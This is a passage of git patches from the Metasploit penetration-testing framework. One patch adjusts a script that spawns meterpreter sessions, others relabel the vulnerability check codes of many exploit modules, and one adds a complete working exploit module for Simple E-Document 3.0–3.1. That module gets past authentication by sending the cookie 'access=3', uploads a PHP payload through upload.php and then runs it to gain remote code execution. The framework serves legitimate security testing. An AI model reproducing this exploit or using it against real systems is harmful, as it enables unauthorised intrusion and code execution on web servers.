whatever we get from Rex::Socket.source_address. As for LPORT, we'll pick a one that's not used by any of the sessions. --- scripts/shell/spawn_meterpreter.rb | 36 ++++++++++++++++++++++++------ 1 file changed, 29 insertions(+), 7 deletions(-) diff --git a/scripts/shell/spawn_meterpreter.rb b/scripts/shell/spawn_meterpreter.rb index d45e9d4ac4..9ce89b84f7 100644 --- a/scripts/shell/spawn_meterpreter.rb +++ b/scripts/shell/spawn_meterpreter.rb @@ -18,17 +18,39 @@ def progress(total, sent) end -raise RuntimeError, "You must select a session." if (not session) -raise RuntimeError, "Selected session is not a command shell session!" if (session.type != "shell") +# +# Returns if a port is used by a session +# +def is_port_used?(port) + framework.sessions.each do |sid, obj| + local_info = obj.instance_variable_get(:@local_info) + return true if local_info =~ /:#{port}$/ + end -# Check for required datastore options -if (not session.exploit_datastore['LHOST'] or not session.exploit_datastore['LPORT']) - raise RuntimeError, "You must set LPORT and LHOST for this script to work." + false end +# +# Mimics what MSF alreayd does if the user doesn't manually select a payload and lhost +# +lhost = framework.datastore['LHOST'] +unless lhost + lhost = Rex::Socket.source_address('50.50.50.50') +end -lhost = session.exploit_datastore['LHOST'] -lport = session.exploit_datastore['LPORT'] +# +# If there is no LPORT defined in framework, then pick a random one that's not used +# by current sessions. This is possible if the user assumes module datastore options +# are the same as framework datastore options. +# +lport = framework.datastore['LPORT'] +unless lport + lport = 4444 # Default meterpreter port + while is_port_used?(lport) + # Pick a port that's not used + lport = [*49152..65535].sample + end +end # maybe we want our sessions going to another instance? use_handler = true From 32d60328937d5a3902f5acafd4349b60bb9874a9 Mon Sep 17 00:00:00 2001 From: bcoles <bcoles@gmail.com> Date: Fri, 24 Jan 2014 19:19:25 +1030 Subject: [PATCH 075/246] Add Simple E-Document Arbitrary File Upload module --- .../webapp/simple_e_document_upload_exec.rb | 136 ++++++++++++++++++ 1 file changed, 136 insertions(+) create mode 100644 modules/exploits/unix/webapp/simple_e_document_upload_exec.rb diff --git a/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb new file mode 100644 index 0000000000..f4ad18e042 --- /dev/null +++ b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb @@ -0,0 +1,136 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "Simple E-Document Arbitrary File Upload", + 'Description' => %q{ + This module exploits a file upload vulnerability found in Simple + E-Document versions 3.0 to 3.1. Attackers can bypass authentication and + abuse the upload feature in order to upload malicious PHP files which + results in arbitrary remote code execution as the web server user. File + uploads are disabled by default. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'vinicius777[at]gmail.com', # Auth bypass discovery and PoC, kinda + 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit + ], + 'References' => + [ + # This EDB uses SQLI for auth bypass which isn't needed. + # Sending "Cookie: access=3" with all requests is all + # that's needed for auth bypass. + ['EDB', '31142'] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'Arch' => ARCH_PHP, + 'Platform' => 'php', + 'Targets' => + [ + # Tested on Simple E-Document versions 3.0 and 3.1 + [ 'Generic (PHP Payload)', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Jan 23 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to Simple E-Document', '/simple_e_document_v_1_31/']) + ], self.class) + end + + # + # Checks if target allows file uploads + # + def check + res = send_request_raw({ + 'uri' => normalize_uri(target_uri.path, 'upload.php'), + 'cookie' => 'access=3' + }) + if not res + print_error("#{peer} - Connection timed out") + return Exploit::CheckCode::Unknown + elsif res.body =~ /File Uploading Has Been Disabled/ + print_error("#{peer} - File uploads are disabled") + elsif res.body =~ /Upload File/ + return Exploit::CheckCode::Appears + end + return Exploit::CheckCode::Safe + end + + # + # Uploads our malicious file + # + def upload + @fname = "#{rand_text_alphanumeric(rand(10)+6)}.php" + php = "<?php #{payload.encoded} ?>" + data = Rex::MIME::Message.new + data.add_part('upload', nil, nil, 'form-data; name="op1"') + data.add_part(php, 'application/octet-stream', nil, "form-data; name=\"fileupload\"; filename=\"#{@fname}\"") + post_data = data.to_s.gsub(/^\r\n--_Part_/, '--_Part_') + print_status("#{peer} - Uploading malicious file...") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'upload.php?op=newin'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'cookie' => 'access=3', + 'data' => post_data + }) + if not res + fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") + elsif res.code.to_i == 404 + fail_with(Failure::NotFound, "#{peer} - No upload.php found") + elsif res.body =~ /Couldn't copy/ or res.body !~ /file uploaded\!/ + fail_with(Failure::UnexpectedReply, "#{peer} - Unable to write #{@fname}") + else + print_good("#{peer} - Payload uploaded successfully.") + if res.body =~ /<br>folder to use: .+#{target_uri.path}\/?(.+)<br>/ + @upload_path = normalize_uri(target_uri.path, "#{$1}") + print_good("#{peer} - Found upload path #{@upload_path}") + else + @upload_path = normalize_uri(target_uri.path, 'in') + print_warning("#{peer} - Could not find upload path - assuming '#{@upload_path}'") + end + end + register_files_for_cleanup(@fname) + end + + # + # Executes our uploaded malicious file + # + def exec + print_status("#{peer} - Executing #{@fname}...") + res = send_request_raw({ + 'uri' => normalize_uri(@upload_path, @fname), + 'cookie' => 'access=3' + }) + if res and res.code == 404 + fail_with(Failure::NotFound, "#{peer} - Not found: #{@fname}") + end + end + + # + # Just upload and execute + # + def exploit + upload + exec + end +end From e8b591ef540e3c707948d4762f53187a4a0fdf73 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 24 Jan 2014 08:47:04 -0600 Subject: [PATCH 076/246] Delete registering of check on bailiwicked modules --- modules/auxiliary/spoof/dns/bailiwicked_domain.rb | 3 +-- modules/auxiliary/spoof/dns/bailiwicked_host.rb | 5 ++--- 2 files changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb index eb1f0e2a31..3b5f36b44b 100644 --- a/modules/auxiliary/spoof/dns/bailiwicked_domain.rb +++ b/modules/auxiliary/spoof/dns/bailiwicked_domain.rb @@ -58,7 +58,6 @@ class Metasploit3 < Msf::Auxiliary def auxiliary_commands return { - "check" => "Determine if the specified DNS server (RHOST) is vulnerable", "racer" => "Determine the size of the window for the target server" } end @@ -142,7 +141,7 @@ class Metasploit3 < Msf::Auxiliary if(ports_r != 100) vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.") # Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Appears end else vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning") diff --git a/modules/auxiliary/spoof/dns/bailiwicked_host.rb b/modules/auxiliary/spoof/dns/bailiwicked_host.rb index 6f81391875..6ca8d1304d 100644 --- a/modules/auxiliary/spoof/dns/bailiwicked_host.rb +++ b/modules/auxiliary/spoof/dns/bailiwicked_host.rb @@ -56,8 +56,7 @@ class Metasploit3 < Msf::Auxiliary def auxiliary_commands return { - "check" => "Determine if the specified DNS server (RHOST) is vulnerable", - "racer" => "Determine the size of the window for the target server", + "racer" => "Determine the size of the window for the target server" } end @@ -140,7 +139,7 @@ class Metasploit3 < Msf::Auxiliary if(ports_r != 100) vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.") # Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence - return Exploit::CheckCode::Appears + return Exploit::CheckCode::Appears end else vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning") From cdc425e4eb38c1391676dadca3a60209fdb71a55 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Fri, 24 Jan 2014 12:08:23 -0600 Subject: [PATCH 077/246] Update some checks --- .../exploits/freebsd/ftp/proftp_telnet_iac.rb | 6 +++--- modules/exploits/linux/ftp/proftp_sreplace.rb | 6 +++--- modules/exploits/linux/ftp/proftp_telnet_iac.rb | 6 +++--- .../linux/http/linksys_wrt110_cmd_exec.rb | 2 +- modules/exploits/linux/local/vmware_mount.rb | 2 +- modules/exploits/linux/misc/hp_vsa_login_bof.rb | 2 +- modules/exploits/linux/misc/sercomm_exec.rb | 4 ++-- .../exploits/linux/postgres/postgres_payload.rb | 2 +- modules/exploits/multi/http/activecollab_chat.rb | 2 +- .../exploits/multi/http/openfire_auth_bypass.rb | 2 +- .../multi/http/phpmyadmin_preg_replace.rb | 4 ++-- .../multi/php/php_unserialize_zval_cookie.rb | 2 +- .../multi/sap/sap_mgmt_con_osexec_payload.rb | 2 +- .../windows/http/bea_weblogic_post_bof.rb | 2 +- .../exploits/windows/http/hp_imc_bims_upload.rb | 3 ++- modules/exploits/windows/local/ikeext_service.rb | 2 +- .../windows/local/trusted_service_path.rb | 1 + modules/exploits/windows/misc/altiris_ds_sqli.rb | 4 ++-- .../windows/misc/hp_dataprotector_crs.rb | 6 ++++-- .../mssql/ms09_004_sp_replwritetovarbin.rb | 16 ++++++++-------- .../mssql/ms09_004_sp_replwritetovarbin_sqli.rb | 16 ++++++++-------- .../exploits/windows/novell/netiq_pum_eval.rb | 2 +- modules/exploits/windows/oracle/tns_arguments.rb | 2 +- .../exploits/windows/oracle/tns_auth_sesskey.rb | 6 +++--- .../exploits/windows/oracle/tns_service_name.rb | 2 +- 25 files changed, 54 insertions(+), 50 deletions(-) diff --git a/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb b/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb index 2c6954b241..ea1e397fbf 100644 --- a/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb +++ b/modules/exploits/freebsd/ftp/proftp_telnet_iac.rb @@ -106,15 +106,15 @@ class Metasploit3 < Msf::Exploit::Remote if rel.length > 0 if rel[0,2] == 'rc' if rel[2,rel.length].to_i >= 3 - status = CheckCode::Vulnerable + status = CheckCode::Appears end else - status = CheckCode::Vulnerable + status = CheckCode::Appears end end when '3' # 1.3.3+ defaults to vulnerable (until >= 1.3.3c) - status = CheckCode::Vulnerable + status = CheckCode::Appears if rel.length > 0 if rel[0,2] != 'rc' and rel[0,1] > 'b' status = CheckCode::Safe diff --git a/modules/exploits/linux/ftp/proftp_sreplace.rb b/modules/exploits/linux/ftp/proftp_sreplace.rb index 57306a041c..b8fa872f5c 100644 --- a/modules/exploits/linux/ftp/proftp_sreplace.rb +++ b/modules/exploits/linux/ftp/proftp_sreplace.rb @@ -129,16 +129,16 @@ class Metasploit3 < Msf::Exploit::Remote relv = rel.slice!(0,1) case relv when '2' - status = CheckCode::Vulnerable + status = CheckCode::Appears when '3' # 1.3.x before 1.3.1 is vulnerable - status = CheckCode::Vulnerable + status = CheckCode::Appears if rel.length > 0 if rel.to_i > 0 status = CheckCode::Safe else - status = CheckCode::Vulnerable + status = CheckCode::Appears end end end diff --git a/modules/exploits/linux/ftp/proftp_telnet_iac.rb b/modules/exploits/linux/ftp/proftp_telnet_iac.rb index 399d462181..5d69d3b95e 100644 --- a/modules/exploits/linux/ftp/proftp_telnet_iac.rb +++ b/modules/exploits/linux/ftp/proftp_telnet_iac.rb @@ -286,15 +286,15 @@ class Metasploit3 < Msf::Exploit::Remote if rel.length > 0 if rel[0,2] == 'rc' if rel[2,rel.length].to_i >= 3 - status = CheckCode::Vulnerable + status = CheckCode::Appears end else - status = CheckCode::Vulnerable + status = CheckCode::Appears end end when '3' # 1.3.3+ defaults to vulnerable (until >= 1.3.3c) - status = CheckCode::Vulnerable + status = CheckCode::Appears if rel.length > 0 if rel[0,2] != 'rc' and rel[0,1] > 'b' status = CheckCode::Safe diff --git a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb index e1abb96056..26d1c3c07b 100644 --- a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote end if res and res.code == 200 and res.body =~ /<ModelName>WRT110<\/ModelName>/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/linux/local/vmware_mount.rb b/modules/exploits/linux/local/vmware_mount.rb index 9b8aa1f9f4..8ae3c846ea 100644 --- a/modules/exploits/linux/local/vmware_mount.rb +++ b/modules/exploits/linux/local/vmware_mount.rb @@ -57,7 +57,7 @@ class Metasploit4 < Msf::Exploit::Local def check if setuid?("/usr/bin/vmware-mount") - CheckCode::Vulnerable + CheckCode::Appears else CheckCode::Safe end diff --git a/modules/exploits/linux/misc/hp_vsa_login_bof.rb b/modules/exploits/linux/misc/hp_vsa_login_bof.rb index 811509ba1e..64ac53e265 100644 --- a/modules/exploits/linux/misc/hp_vsa_login_bof.rb +++ b/modules/exploits/linux/misc/hp_vsa_login_bof.rb @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if res and res=~ /OK/ and res =~ /Login/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears elsif res and res =~ /FAILED/ and res =~ /version/ return Exploit::CheckCode::Detected end diff --git a/modules/exploits/linux/misc/sercomm_exec.rb b/modules/exploits/linux/misc/sercomm_exec.rb index fdfd12d2c7..8625e5baff 100644 --- a/modules/exploits/linux/misc/sercomm_exec.rb +++ b/modules/exploits/linux/misc/sercomm_exec.rb @@ -142,10 +142,10 @@ class Metasploit3 < Msf::Exploit::Remote case fprint when 'BE' vprint_status("Detected Big Endian") - return Msf::Exploit::CheckCode::Vulnerable + return Msf::Exploit::CheckCode::Appears when 'LE' vprint_status("Detected Little Endian") - return Msf::Exploit::CheckCode::Vulnerable + return Msf::Exploit::CheckCode::Appears end return Msf::Exploit::CheckCode::Safe diff --git a/modules/exploits/linux/postgres/postgres_payload.rb b/modules/exploits/linux/postgres/postgres_payload.rb index 3515686a94..5d4dfab9da 100644 --- a/modules/exploits/linux/postgres/postgres_payload.rb +++ b/modules/exploits/linux/postgres/postgres_payload.rb @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote version = postgres_fingerprint if version[:auth] - return CheckCode::Vulnerable + return CheckCode::Appears else print_error "Authentication failed. #{version[:preauth] || version[:unknown]}" return CheckCode::Safe diff --git a/modules/exploits/multi/http/activecollab_chat.rb b/modules/exploits/multi/http/activecollab_chat.rb index 4479a5a824..80a45a69ca 100644 --- a/modules/exploits/multi/http/activecollab_chat.rb +++ b/modules/exploits/multi/http/activecollab_chat.rb @@ -68,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote if (cms and cms.body =~ /powered by activeCollab/) # detect the chat module if (chat and chat.code == 200) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Detected end end return Exploit::CheckCode::Safe diff --git a/modules/exploits/multi/http/openfire_auth_bypass.rb b/modules/exploits/multi/http/openfire_auth_bypass.rb index e04e6609b1..bc346979d8 100644 --- a/modules/exploits/multi/http/openfire_auth_bypass.rb +++ b/modules/exploits/multi/http/openfire_auth_bypass.rb @@ -125,7 +125,7 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Unknown end - Exploit::CheckCode::Vulnerable + Exploit::CheckCode::Appears end def get_plugin_jar(plugin_name) diff --git a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb index a652dd0a74..dae461f8c3 100644 --- a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb +++ b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb @@ -99,10 +99,10 @@ class Metasploit3 < Msf::Exploit::Remote when '3.5.8.1', '4.0.0-rc3' return CheckCode::Safe when '4.0.0-alpha1', '4.0.0-alpha2', '4.0.0-beta1', '4.0.0-beta2', '4.0.0-beta3', '4.0.0-rc1', '4.0.0-rc2' - return CheckCode::Vulnerable + return CheckCode::Appears else if $1.starts_with? '3.5.' - return CheckCode::Vulnerable + return CheckCode::Appears end return CheckCode::Detected diff --git a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb index e7e8375826..b18a55f292 100644 --- a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb +++ b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb @@ -268,7 +268,7 @@ class Metasploit3 < Msf::Exploit::Remote end - return php_bug ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Appears + return php_bug ? Exploit::CheckCode::Appears : Exploit::CheckCode::Detected end diff --git a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb index eb7f5454c0..8a7ac17992 100644 --- a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb +++ b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb @@ -93,7 +93,7 @@ class Metasploit4 < Msf::Exploit::Remote end if res and res.code == 200 and res.headers['Server'] =~ /gSOAP/ and res.body =~ /OSExecuteResponse/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears elsif res and res.code == 500 and (res.body =~ /Invalid Credentials/ or res.body =~ /Permission denied/) return Exploit::CheckCode::Detected elsif res and res.headers['Server'] =~ /gSOAP/ diff --git a/modules/exploits/windows/http/bea_weblogic_post_bof.rb b/modules/exploits/windows/http/bea_weblogic_post_bof.rb index a86071c0c2..c3b57dcdaf 100644 --- a/modules/exploits/windows/http/bea_weblogic_post_bof.rb +++ b/modules/exploits/windows/http/bea_weblogic_post_bof.rb @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Exploit::Remote case fingerprint when /Version found/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears when /BEA WebLogic connector vulnerable/ return Exploit::CheckCode::Appears when /BEA WebLogic connector undefined/ diff --git a/modules/exploits/windows/http/hp_imc_bims_upload.rb b/modules/exploits/windows/http/hp_imc_bims_upload.rb index 1745bb46be..334185a104 100644 --- a/modules/exploits/windows/http/hp_imc_bims_upload.rb +++ b/modules/exploits/windows/http/hp_imc_bims_upload.rb @@ -66,7 +66,8 @@ class Metasploit3 < Msf::Exploit::Remote end if res.code == 200 and res.headers['Content-Type'] =~ /application\/doc/ and res.body =~ /com\.h3c\.imc\.bims\.acs\.server\.UploadServlet/ - return Exploit::CheckCode::Vulnerable + vprint_status("Upload interface found. Must be tested to verify vulnerable state.") + return Exploit::CheckCode::Appears elsif res.code == 405 and res.message =~ /Method Not Allowed/ return Exploit::CheckCode::Appears end diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index d9a2efef2d..4a508caf51 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Local return Exploit::CheckCode::Safe end - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end def check_search_path diff --git a/modules/exploits/windows/local/trusted_service_path.rb b/modules/exploits/windows/local/trusted_service_path.rb index 85968af822..169574a435 100644 --- a/modules/exploits/windows/local/trusted_service_path.rb +++ b/modules/exploits/windows/local/trusted_service_path.rb @@ -56,6 +56,7 @@ class Metasploit3 < Msf::Exploit::Local if enum_vuln_services.empty? return Exploit::CheckCode::Safe else + # Found service is running system return Exploit::CheckCode::Vulnerable end end diff --git a/modules/exploits/windows/misc/altiris_ds_sqli.rb b/modules/exploits/windows/misc/altiris_ds_sqli.rb index 7394a2cae7..9d9b612caf 100644 --- a/modules/exploits/windows/misc/altiris_ds_sqli.rb +++ b/modules/exploits/windows/misc/altiris_ds_sqli.rb @@ -131,14 +131,14 @@ Processor-Speed=#{processor_speed} return Exploit::CheckCode::Safe end - print_status "#{rhost}:#{rport} - Altiris DS Version '#{version}'" + vprint_status "#{rhost}:#{rport} - Altiris DS Version '#{version}'" minor = $1.to_i build = $2.to_i if minor == 8 if build == 206 || build == 282 || build == 378 - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears elsif build < 390 return Exploit::CheckCode::Appears end diff --git a/modules/exploits/windows/misc/hp_dataprotector_crs.rb b/modules/exploits/windows/misc/hp_dataprotector_crs.rb index 82ca53d075..26baf9192d 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_crs.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_crs.rb @@ -153,9 +153,11 @@ class Metasploit3 < Msf::Exploit::Remote end if fingerprint =~ /HP Data Protector A\.06\.20: INET, internal build 370/ - return Exploit::CheckCode::Vulnerable + # More likely to be exploitable + return Exploit::CheckCode::Appears elsif fingerprint =~ /HP Data Protector A\.07\.00: INET, internal build 72/ - return Exploit::CheckCode::Vulnerable + # More likely to be exploitable + return Exploit::CheckCode::Appears elsif fingerprint =~ /HP Data Protector A\.07\.00/ return Exploit::CheckCode::Appears elsif fingerprint =~ /HP Data Protector A\.07\.01/ diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb index 7db69b1d4d..04f05b6131 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb @@ -262,14 +262,14 @@ class Metasploit3 < Msf::Exploit::Remote print_status("@@version returned:\n\t" + version) # Any others? - return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/) - return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.384/) - return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.534/) - return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.760/) - return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/) - return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/) - return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.2047\.00/) - return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.3042\.00/) + return Exploit::CheckCode::Appears if (version =~ /8\.00\.194/) + return Exploit::CheckCode::Appears if (version =~ /8\.00\.384/) + return Exploit::CheckCode::Appears if (version =~ /8\.00\.534/) + return Exploit::CheckCode::Appears if (version =~ /8\.00\.760/) + return Exploit::CheckCode::Appears if (version =~ /8\.00\.2039/) + return Exploit::CheckCode::Appears if (version =~ /9\.00\.1399\.06/) + return Exploit::CheckCode::Appears if (version =~ /9\.00\.2047\.00/) + return Exploit::CheckCode::Appears if (version =~ /9\.00\.3042\.00/) return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb index a3f7954ea0..12924e96ff 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb @@ -264,14 +264,14 @@ class Metasploit3 < Msf::Exploit::Remote print_status("@@version returned:\n\t" + version) # Any others? - return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/) - return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.384/) - return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.534/) - return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.760/) - return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/) - return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/) - return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.2047\.00/) - return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.3042\.00/) + return Exploit::CheckCode::Appears if (version =~ /8\.00\.194/) + return Exploit::CheckCode::Appears if (version =~ /8\.00\.384/) + return Exploit::CheckCode::Appears if (version =~ /8\.00\.534/) + return Exploit::CheckCode::Appears if (version =~ /8\.00\.760/) + return Exploit::CheckCode::Appears if (version =~ /8\.00\.2039/) + return Exploit::CheckCode::Appears if (version =~ /9\.00\.1399\.06/) + return Exploit::CheckCode::Appears if (version =~ /9\.00\.2047\.00/) + return Exploit::CheckCode::Appears if (version =~ /9\.00\.3042\.00/) return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/novell/netiq_pum_eval.rb b/modules/exploits/windows/novell/netiq_pum_eval.rb index 72339b168d..238b71aef4 100644 --- a/modules/exploits/windows/novell/netiq_pum_eval.rb +++ b/modules/exploits/windows/novell/netiq_pum_eval.rb @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote }) if res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/ and res.body =~ /2\.3\.1/ - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears elsif res and res.body =~ /onResult/ and res.body =~ /Invalid user name or password/ return Exploit::CheckCode::Detected end diff --git a/modules/exploits/windows/oracle/tns_arguments.rb b/modules/exploits/windows/oracle/tns_arguments.rb index 5aae907348..15e6217fe1 100644 --- a/modules/exploits/windows/oracle/tns_arguments.rb +++ b/modules/exploits/windows/oracle/tns_arguments.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ ) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe diff --git a/modules/exploits/windows/oracle/tns_auth_sesskey.rb b/modules/exploits/windows/oracle/tns_auth_sesskey.rb index ab2ed6ed9f..2e71cd121d 100644 --- a/modules/exploits/windows/oracle/tns_auth_sesskey.rb +++ b/modules/exploits/windows/oracle/tns_auth_sesskey.rb @@ -76,9 +76,9 @@ class Metasploit3 < Msf::Exploit::Remote vprint_error("Unable to detect the Oracle version!") return Exploit::CheckCode::Unknown end - print_status("Oracle version reply: " + version) - return Exploit::CheckCode::Vulnerable if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/) - return Exploit::CheckCode::Vulnerable if (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/) + vprint_status("Oracle version reply: " + version) + return Exploit::CheckCode::Appears if (version =~ /32-bit Windows: Version 10\.2\.0\.1\.0/) + return Exploit::CheckCode::Appears if (version =~ /32-bit Windows: Version 10\.2\.0\.4\.0/) return Exploit::CheckCode::Safe end diff --git a/modules/exploits/windows/oracle/tns_service_name.rb b/modules/exploits/windows/oracle/tns_service_name.rb index 42468a055d..3eaa4cf412 100644 --- a/modules/exploits/windows/oracle/tns_service_name.rb +++ b/modules/exploits/windows/oracle/tns_service_name.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect if ( res and res =~ /32-bit Windows: Version 8\.1\.7\.0\.0/ ) - return Exploit::CheckCode::Vulnerable + return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end From c8e230111183f823e09546e62bc103b449880443 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Fri, 24 Jan 2014 15:01:52 -0600 Subject: [PATCH 078/246] Be more informative about why CheckCode::Unknown This is just kind of personal preference here. In case users wonder why Unknown. --- modules/auxiliary/gather/drupal_openid_xxe.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb index 37d33db759..470364421c 100644 --- a/modules/auxiliary/gather/drupal_openid_xxe.rb +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -102,6 +102,7 @@ class Metasploit3 < Msf::Auxiliary res = send_openid_auth(signature) unless res + vprint_status("Connection timed out") return Exploit::CheckCode::Unknown end From 93fa58ed45b70b6671a630466053cd2e55a63aca Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Fri, 24 Jan 2014 17:54:40 -0600 Subject: [PATCH 079/246] aux scanner support --- lib/msf/core/auxiliary/scanner.rb | 7 +++++++ lib/msf/ui/console/module_command_dispatcher.rb | 2 +- 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/auxiliary/scanner.rb b/lib/msf/core/auxiliary/scanner.rb index e08efc4ef1..0812d4c740 100644 --- a/lib/msf/core/auxiliary/scanner.rb +++ b/lib/msf/core/auxiliary/scanner.rb @@ -32,6 +32,13 @@ def initialize(info = {}) end +def check + nmod = self.replicant + code = nmod.check_host(datastore['RHOST']) + code +end + + # # The command handler when launched from the console # diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index 1861d3e1e5..ca20ffee50 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -42,7 +42,7 @@ module ModuleCommandDispatcher def cmd_check(*args) defanged? - ip_range_arg = args.shift || '' + ip_range_arg = args.shift || datastore['RHOSTS'] || '' hosts = Rex::Socket::RangeWalker.new(ip_range_arg) if hosts.ranges.blank? From a7fa4e312b91ae043cff93beb9bbbf8c05dc6da4 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Fri, 24 Jan 2014 17:56:47 -0600 Subject: [PATCH 080/246] This module fails to load due to the missing end --- modules/exploits/linux/http/mutiny_frontend_upload.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/exploits/linux/http/mutiny_frontend_upload.rb 